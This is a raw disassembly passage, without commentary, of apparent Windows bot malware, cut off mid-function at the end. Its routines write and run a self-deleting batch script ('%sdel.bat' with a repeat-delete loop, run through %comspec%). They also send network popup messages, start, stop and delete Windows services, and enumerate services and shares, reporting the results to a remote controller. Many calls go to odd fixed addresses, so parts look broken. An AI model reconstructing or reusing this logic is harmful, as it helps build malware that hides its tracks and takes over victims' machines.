		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 270087Fh
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 26F0000h
		push	edi
		nop
		call	near ptr 26608ABh
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_4429D8
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 2690000h
		nop
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_15C]
		push	eax
		call	near ptr 2680E9Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 2680D7Eh

loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2820000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 2660C2Fh
		nop

loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26D0576h
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4D07A4
		push	edi
		push	eax
		call	dword_4D07B4
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_43E248

loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------

loc_418569:				; CODE XREF: sub_4184E1+57j
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_43E220
		jmp	short loc_418542
; ---------------------------------------------------------------------------

loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43E1F0
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26D0576h
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA

loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26A0C56h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	near ptr 26B0000h
		nop
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27A07A3h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26907CFh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_43E270[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_43E26C[esi]
		push	offset unk_43E380

loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4E08A0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------

loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_43E354
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------

loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4E08A0
		push	off_43E268[eax*4]
		push	offset unk_43E330
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4D0818
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		call	near ptr 268086Bh
		nop
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------

loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4D0700
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		nop
		call	near ptr 268086Bh
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------

loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4D076C
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4D0708
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4D0770

loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		call	near ptr 268086Bh
		nop
		mov	ebx, eax

loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4D071C

loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4D071C
		pop	esi

loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump

loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4E01E0
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------

loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4E01E0
		call	sub_41B886
		add	esp, 0Ch

loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4E01E0
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4D0818
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4D07E4
		test	eax, eax
		jnz	short loc_4189CD
		call	near ptr 268086Bh
		nop
		cmp	eax, 0EAh
		jnz	loc_418A81

loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]

loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"

loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE

loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993

loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4D071C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------

loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax

loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4E049C
		push	off_43E268[eax*4]
		push	offset unk_43E914
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch

loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8

loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4E049C
		push	off_43E26C[eax*4]
		push	offset dword_43E8F8
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4E049C
		lea	eax, [eax+eax*2]
		push	off_43E268[eax*4]
		push	offset unk_43E8D4
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4E069C, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4E069C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4E043C, eax

loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4E043C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4E043C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4D0718
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4D06F0
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4D0768
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_43E960
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------

loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

